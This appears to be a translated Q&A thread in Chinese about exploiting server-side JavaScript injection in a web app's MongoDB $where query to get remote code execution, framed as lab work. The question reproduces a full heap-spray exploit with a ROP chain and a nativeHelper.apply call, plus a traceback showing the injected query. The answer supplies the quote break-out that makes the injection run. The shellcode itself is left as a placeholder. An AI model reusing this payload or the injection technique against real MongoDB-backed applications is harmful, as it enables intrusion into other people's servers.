mongodb - SSJI到RCE

Question

作为我正在做的实验室的一部分，我需要利用MongoDB。我知道我可以在查询MongoDB的搜索框中输入代码。我已经用我的shell代码更新了代码，但我不会将其包括在内，我将只使用这里的漏洞：

db.my_collection.find({'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+shellcode; } ropchain=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-ropchain.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+ropchain; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);'})

当这段代码输入到数据库中时，我得到一个python错误，如下所示：

     /usr/lib/cgi-bin/mongo/2.2.3/dbparse.py in ()
     41 print "</th>"
     42 if where:
=>   43    for record in collection.find(where):
     44         print "<tr>"
     45         print "<td align=\"center\">"+record["CompanyName"]+"</td>"
record undefined, collection = Collection(Database(MongoClient('localhost', 27017), u'test_database'), u'london_garages'), collection.find = <bound method Collection.find of Collection(Data...', 27017), u'test_database'), u'london_garages')>, where = {'$where': 'this.CompanyName == \'db.my_collection.find({\'$wh...x08"+"\\x20\\x20\\x20\\x20"+"\\x58\\x71\\x45\\x08"]);\'})\''}
 /usr/local/lib/python2.7/dist-packages/pymongo/cursor.py in next(self=<pymongo.cursor.Cursor object>)
    812             raise StopIteration
    813         db = self.__collection.database
=>  814         if len(self.__data) or self._refresh():
    815             if self.__manipulate:
    816                 return db._fix_outgoing(self.__data.popleft(),
builtin len = <built-in function len>, self = <pymongo.cursor.Cursor object>, self.__data undefined, self._refresh = <bound method Cursor._refresh of <pymongo.cursor.Cursor object>>
 /usr/local/lib/python2.7/dist-packages/pymongo/cursor.py in _refresh(self=<pymongo.cursor.Cursor object>)
    761                               self.__skip, ntoreturn,
    762                               self.__query_spec(), self.__fields,
=>  763                               self.__uuid_subtype))
    764             if not self.__id:
    765                 self.__killed = True
self = <pymongo.cursor.Cursor object>, self.__uuid_subtype undefined
 /usr/local/lib/python2.7/dist-packages/pymongo/cursor.py in __send_message(self=<pymongo.cursor.Cursor object>, message=(-720441271, '\xb1\x03\x00\x00I\xf0\x0e\xd5\x00\x00\x00\x00\xd4\x07\x00\x00\x00\x00\x00\x00test_database.london_garages...8"+"\\x20\\x20\\x20\\x20"+"\\x58\\x71\\x45\\x08"]);\'})\'\x00\x00', 888))
    718                                                 self.__as_class,
    719                                                 self.__tz_aware,
=>  720                                                 self.__uuid_subtype)
    721         except AutoReconnect:
    722             # Don't send kill cursors to another server after a "not master"
self = <pymongo.cursor.Cursor object>, self.__uuid_subtype undefined
 /usr/local/lib/python2.7/dist-packages/pymongo/helpers.py in _unpack_response(response="\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00.\x00\x00\x00\x02$err\x00\x15\x00\x00\x00$where compile error\x00\x10code\x00V'\x00\x00\x00", cursor_id=None, as_class=<type 'dict'>, tz_aware=False, uuid_subtype=3)
     97             raise AutoReconnect(error_object["$err"])
     98         raise OperationFailure("database error: %s" %
=>   99                                error_object["$err"])
    100 
    101     result = {}
error_object = {u'$err': u'$where compile error', u'code': 10070}

我知道这是一个错误，因为数据库已经在我的输入前面执行了一些功能，所以我将其修改为如下所示：

    unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+shellcode; } ropchain=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-ropchain.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+ropchain; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);

这不会返回错误，但不会返回shell。我会不会在这里忘记了一些阻止代码执行的字符？我关注的另一个问题是，外壳代码的赋值在被删除时，可能会影响代码的其他部分，例如，在为testarray再次调用外壳代码的地方

Answer 1

如果你想解决这个问题，你需要在脚本开头加上“';shellcode=unescape”，并且在脚本的结尾不做任何改动